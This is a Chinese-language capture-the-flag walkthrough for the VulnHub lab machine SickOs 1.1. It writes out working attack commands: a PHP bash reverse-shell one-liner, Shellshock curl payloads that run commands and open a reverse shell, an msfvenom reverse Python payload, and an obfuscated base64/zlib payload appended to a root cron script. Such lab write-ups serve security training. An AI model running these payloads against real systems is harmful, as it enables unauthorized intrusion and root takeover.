目录
介绍
系列:SickOs(此系列共2台)
发布日期:2015年12月11日
难度:初-中
运行环境:VMware Workstation
目标:取得 root 权限 + Flag
学习:
- 主机发现
- 端口扫描+漏洞扫描
- 代理扫描
- 搜寻网站后台
- 后台写入shell
- 计划任务提权
- 破壳漏洞拿shell
靶机地址:https://www.vulnhub.com/entry/sickos-11,132/
信息收集
主机信息探测
netdiscover主机发现
sudo netdiscover -i eth0 -r 192.168.229.0/24
主机信息探测
发现与web相关的是个3128端口,运行着squid/3.1.19,通过搜索引擎得知,squid是一个代理服务器和Web缓存服务器,主要用于Unix一类系统使用。
nmap -p- 192.168.229.135
nmap -p 22,3128,8080 -A 192.168.229.135
nmap-p 22,3128,8080 --script=vuln 192.168.229.135
网站探测
web服务没有什么有价值的信息,直接的目录爆破也无果。网页中的一个超链接点击后会打开电脑上自带的邮件软件。既然3128端口运行的是个代理服务,那就不妨试着把它当作代理,重新探测一下网站。
于是开始目录爆破
dirsearch -u http://192.168.229.135 --full-url -R 2 -x 404 --exclude-sizes=0B --proxy=http://192.168.229.135:3128
挂上代理后,网站首页没有发现什么东西,访问爆破的“/robots.txt”发现了一个有趣的目录
在这里插入图片描述
对着这个子目录二次爆破,没有发现有意义的目录,谷歌搜索了一下,发现了后台地址:
其实,如果注意到网页结构,直接修改一下也是可以直接跳转进后台地址的
使用弱口令admin、admin直接登录进去了
Getshell
MSF生成php类型的反弹shell代码,粘贴到某个页面中去,但是拿到shell不一会,连接就断开了,看样子需要换个反弹shell的命令。
谷歌搜索“php reverse shell one liner”,你会看到很多简单有效的一句话木马,如:
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/10.10.0.1/1234 0>&1'"); ?>
此时,即便浏览器不再加载,我的shell也没有断开。
敏感信息收集
在当前目录下直接发现了一个配置文件,里面有一个数据库密码,按照靶机的一贯尿性,这个密码应该可以SSH登录靶机。检查发现/home
目录下只有一个目录:sickos
,于是SSH登录靶机
SUDO提权
第2种通关思路
nikto扫描站点
nikto扫描网站,发现疑似存在破壳漏洞
验证破壳漏洞
在之前的靶机中,使用nmap和msf都可以确认有无破壳漏洞,这里我尝试了挂代理扫描,失败了,那么只好先认定存在破壳漏洞,直接打。
爆破/cgi-bin
目录,发现存在响应码200的目录,并且以下目录都有结果:
- /cgi-bin/status
- /cgi-bin/status?full=true.sh
更多目录未作测试,应该也是可行的
dirsearch -u http://192.168.229.135/cgi-bin/ --full-url -x 403 -f -e cgi,sh --proxy=http://192.168.229.135:3128
curl -H "user-agent: () { :; }; echo; echo; /bin/bash -c 'whoami'" http://192.168.229.135/cgi-bin/status --proxy http://192.168.229.135:3128
破壳漏洞利用
# 检测有无 nc
curl -H "user-agent: () { :; }; echo; echo; /bin/bash -c 'which nc'" http://192.168.229.135/cgi-bin/status?full=true.sh --proxy http://192.168.229.135:3128
# 命令执行,反弹bash shell
curl -H "user-agent: () { :; };/bin/bash -i >& /dev/tcp/192.168.229.128/4444 0>&1" http://192.168.229.135/cgi-bin/status?full=true.sh --proxy http://192.168.229.135:3128
发现了一个敏感文件,但是没在计划任务中找到它,也许是找的方式不对。
计划任务提权
- 检查计划任务,发现了一个看起来可以用来计划任务提权的python脚本
- 生成python反弹shell的命令,并将其写入到py文件中
msfvenom -p cmd/unix/reverse_python lhost=192.168.229.128 lport=4455 -f raw
写入文件是时候已经乱成团了,没法正常编辑文件,按理来说,就算代码有问题,正确的代码也可以执行,但是没有收到shell
修复文件内容错乱 & 提权
在网上找到了一篇通关攻略,他是这么解决的:https://www.cnblogs.com/henry666/p/16954510.html
在非交互性Shell的环境执行vim命令,有些操作可能会比较诡异, 例如你不能上下左右的移动光标。首先输入o
进入插入模式后(插入新的一行),然后复制粘贴,再按右上角的**ESC**
+**wq**
, 最后再按回车键,即可。
但是我已经把内容都搞乱了,没法那样修复了,连接冰蝎手动修复文件也是一种思路,但是麻烦。好在这个文件比较简单:
- 查看此文件内容,保存有价值的信息:
#!/usr/bin/python
- 编辑此文件,
vim connect.py
,一旦打开文件,就长按键盘的d
,这样connect.py就会被清空,然后保存退出 - 重新编辑此文件,首先输入
o
进入插入模式后(插入新的一行),然后粘贴#!/usr/bin/python
,再按右上角的**ESC**
+**wq**
, 最后再按回车键,即可。 - 接下来就是追加payload,可以使用上一步的方法,也可以使用如下方式:
echo "exec(__import__('zlib').decompress(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('eNqNkFELgjAUhf+K7GmDmG1oKLEHCYOICtJ30bVQsk289v9rLIu9eR/udg/fPWesew5mnAIw8qGmwNYqCODVDKORCmBWjLt9amtba2ASiKWcsk1COU8p4wnyEGsroiiOPRWES6LuwN8p21eHc17+8p1aXHbHqiiveXYivguVRmslJ4ztS+Y1G0l80gC9vQaOgd67XmmDyQyvl4JsKch9cBD/b6Sy7nuMwqbTYVNDi8gb7kNeeg==')[0])))" >> connect.py
查看发现内容无误,略等一会,拿到shell,提权成功。
总结
版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。
文章由极客之音整理,本文链接:https://www.bmabk.com/index.php/post/134205.html